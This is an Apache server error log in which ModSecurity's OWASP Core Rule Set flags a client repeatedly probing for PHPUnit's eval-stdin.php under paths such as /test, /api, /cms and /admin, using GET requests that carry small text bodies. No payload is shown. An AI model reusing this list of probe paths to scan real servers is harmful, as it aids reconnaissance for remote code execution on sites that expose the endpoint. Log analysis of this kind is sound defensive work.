[Fri Jul 17 10:23:14.180802 2026] [security2:error] [pid 2075693:tid 2075693] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1On5-BwPGxupoEJk0WgAAAA0"]
[Fri Jul 17 10:23:14.243641 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:14.406042 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:43016] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:14.634818 2026] [security2:error] [pid 2075718:tid 2075718] [client 151.243.11.234:49024] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/favicon.ico"] [unique_id "alm1OnHGgRvC9MVf3SzHoAAAAAI"]
[Fri Jul 17 10:23:15.078004 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:15.178163 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:15.400129 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1O2Fjrl6DCT-Pyn8T8QAAAAo"]
[Fri Jul 17 10:23:15.400251 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1O2Fjrl6DCT-Pyn8T8QAAAAo"]
[Fri Jul 17 10:23:15.400311 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1O2Fjrl6DCT-Pyn8T8QAAAAo"]
[Fri Jul 17 10:23:15.400918 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1O2Fjrl6DCT-Pyn8T8QAAAAo"]
[Fri Jul 17 10:23:15.401877 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1O2Fjrl6DCT-Pyn8T8QAAAAo"]
[Fri Jul 17 10:23:15.583333 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:15.791346 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:16.322807 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PG4QbEUIiqCvQml5jwAAAAQ"]
[Fri Jul 17 10:23:16.322945 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PG4QbEUIiqCvQml5jwAAAAQ"]
[Fri Jul 17 10:23:16.323004 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PG4QbEUIiqCvQml5jwAAAAQ"]
[Fri Jul 17 10:23:16.323595 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PG4QbEUIiqCvQml5jwAAAAQ"]
[Fri Jul 17 10:23:16.324562 2026] [security2:error] [pid 2075728:tid 2075728] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1PG4QbEUIiqCvQml5jwAAAAQ"]
[Fri Jul 17 10:23:16.684345 2026] [security2:error] [pid 2076194:tid 2076194] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PJT6UchYzP7t8WhLhQAAABI"]
[Fri Jul 17 10:23:16.684456 2026] [security2:error] [pid 2076194:tid 2076194] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PJT6UchYzP7t8WhLhQAAABI"]
[Fri Jul 17 10:23:16.684500 2026] [security2:error] [pid 2076194:tid 2076194] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PJT6UchYzP7t8WhLhQAAABI"]
[Fri Jul 17 10:23:16.684923 2026] [security2:error] [pid 2076194:tid 2076194] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PJT6UchYzP7t8WhLhQAAABI"]
[Fri Jul 17 10:23:16.685599 2026] [security2:error] [pid 2076194:tid 2076194] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1PJT6UchYzP7t8WhLhQAAABI"]
[Fri Jul 17 10:23:16.713532 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:17.130539 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:17.189408 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:43144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:17.237763 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:19.005790 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FAAAAAs"]
[Fri Jul 17 10:23:19.005889 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FAAAAAs"]
[Fri Jul 17 10:23:19.005941 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FAAAAAs"]
[Fri Jul 17 10:23:19.006363 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FAAAAAs"]
[Fri Jul 17 10:23:19.006957 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1P_TLXGCuVk4hiAO-FAAAAAs"]
[Fri Jul 17 10:23:19.362058 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PwTUp7iFPeTAJ9d18gAAAAU"]
[Fri Jul 17 10:23:19.362159 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PwTUp7iFPeTAJ9d18gAAAAU"]
[Fri Jul 17 10:23:19.362214 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PwTUp7iFPeTAJ9d18gAAAAU"]
[Fri Jul 17 10:23:19.362635 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1PwTUp7iFPeTAJ9d18gAAAAU"]
[Fri Jul 17 10:23:19.363292 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1PwTUp7iFPeTAJ9d18gAAAAU"]
[Fri Jul 17 10:23:19.823509 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:19.993939 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FQAAAAs"]
[Fri Jul 17 10:23:19.994035 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FQAAAAs"]
[Fri Jul 17 10:23:19.994101 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FQAAAAs"]
[Fri Jul 17 10:23:19.994527 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1P_TLXGCuVk4hiAO-FQAAAAs"]
[Fri Jul 17 10:23:19.995154 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1P_TLXGCuVk4hiAO-FQAAAAs"]
[Fri Jul 17 10:23:20.311122 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:20.350989 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QFwhXK3LBDRkoRBT8QAAABY"]
[Fri Jul 17 10:23:20.351098 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QFwhXK3LBDRkoRBT8QAAABY"]
[Fri Jul 17 10:23:20.351138 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1QFwhXK3LBDRkoRBT8QAAABY"]
